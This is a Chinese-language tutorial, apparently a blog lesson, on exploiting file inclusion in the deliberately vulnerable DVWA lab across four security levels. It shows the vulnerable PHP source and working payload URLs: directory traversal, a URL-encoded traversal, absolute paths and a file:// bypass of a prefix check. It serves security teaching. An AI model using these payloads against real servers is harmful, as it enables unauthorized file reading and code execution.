一步一步学习DVWA渗透测试-(File Inclusion文件包含)-第八次课

File Inclusion,意思是文件包含(漏洞),是指当服务器开启llow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。

文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。

如果打开File Inclusion,出现下面的信息,这需要修改配置文件

找到php.ini中的allow_url_include,如果原来为off,设置为On。

 

重新启动服务,再次打开,显示如下,则为正常状态。

 

1、Low 低级别

查看源代码

 

可以看到没有对页面提交的文件做任何过滤检查,url为http://192.168.92.129/DVWA/vulnerabilities/fi/?page=file1.php

 

服务器期望用户的操作是点击下面的三个链接,服务器会包含相应的文件,并将结果返回。需要特别说明的是,服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。

漏洞利用

本地文件包含

构造http://192.168.92.129/DVWA/vulnerabilities/fi/?page=/etc/hack

 

没有显示任何信息,说明服务器操作系统不是Linux。

首先构造一个php1.php文件,内容如下,显示php网站的相关信息,把该文件放在phpstudy的www路径下。(在实际渗透测试中,可以通过先进行文件上传渗透,上传脚本文件成功后,再进行文件包含渗透)

<?php echo phpinfo();?>

构造URL,文件参数设置为相对路径

构造http://192.168.92.129/DVWA/vulnerabilities/fi/?page=..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\phpstudy_pro\WWW\DVWA\php1.php

显示出相关信息

 

当然如果知道绝对路径,也可以。

http://192.168.92.129/DVWA/vulnerabilities/fi/?page=c:\phpstudy_pro\WWW\DVWA\php1.php

 

2、Medium中级别

查看源代码如下

<?php 

// The page we wish to display 
$file $_GET'page' ]; 

// Input validation 
$file str_replace( array( "http://""https://" ), ""$file ); 
$file str_replace( array( "../""..\"" ), ""$file ); 

?> 

可以看到要经过两次替换,第一次把搜索到的http://和https://替换为空字符串,第二次是把../和..\ "替换为空字符(..\"可能是作者搞错,应该为..\,否则Low等级的payload照常执行,是否替换为..)

使用str_replace函数是及其不安全的,因为可以使用双写绕过替换规则。

漏洞利用

使用绝对路径

http://192.168.92.129/DVWA/vulnerabilities/fi/?page=c:\phpstudy_pro\WWW\DVWA\php1.php

没有替换,所以照常可以得到php信息。

使用相对路径,可以使用url编码(通过在线URL编码)对page的参数值进行编码

http://192.168.92.129/DVWA/vulnerabilities/fi/?page=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cphpstudy_pro%5CWWW%5CDVWA%5Cphp1.php

可以照常获取信息,因为上面参数中也不会发生替换。

 

3、High 高级别

查看源代码

vulnerabilities/fi/source/high.php

<?php 

// The page we wish to display 
$file $_GET'page' ]; 

// Input validation 
if( !fnmatch"file*"$file ) && $file != "include.php" ) { 
    
// This isn't the page we want! 
    
echo "ERROR: File not found!"
    exit; 


?>

分析:

可以看到,High级别的代码使用了fnmatch函数检查page参数,page参数的开头必须是file,服务器才会去接收相应的文件参数。

漏洞利用

High级别的代码规定只能包含file开头的文件,看似安全,不幸的是我们依然可以利用file协议绕过防护策略。file协议其实我们并不陌生,当我们用浏览器打开一个本地文件时,用的就是file协议,如下图

例如,我们查看G盘下的11.log,使用浏览器或资源管理器可以打开下面文件。file:///G:/11.log

所以我们可以这样构造payload

http://192.168.92.129/DVWA/vulnerabilities/fi/?page=file:///c:/phpstudy_pro/WWW/DVWA/php1.php

仍然可以看到看到了php相关信息。

 

4、Impossible 不可能级别

查看源代码

<?php 

// The page we wish to display 
$file $_GET'page' ]; 

// Only allow include.php or file{1..3}.php 
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) { 
    
// This isn't the page we want! 
    
echo "ERROR: File not found!"
    exit; 


?>

分析:

可以看到,Impossible级别的代码使用了白名单机制进行防护,简单粗暴,page参数必须“include.php”、“file1.php”、“file2.php”、“file3.php”之一,彻底杜绝了文件包含漏洞。

 

-------------------------------------------------------------------------------

关注安全   关注作者

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

manok

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值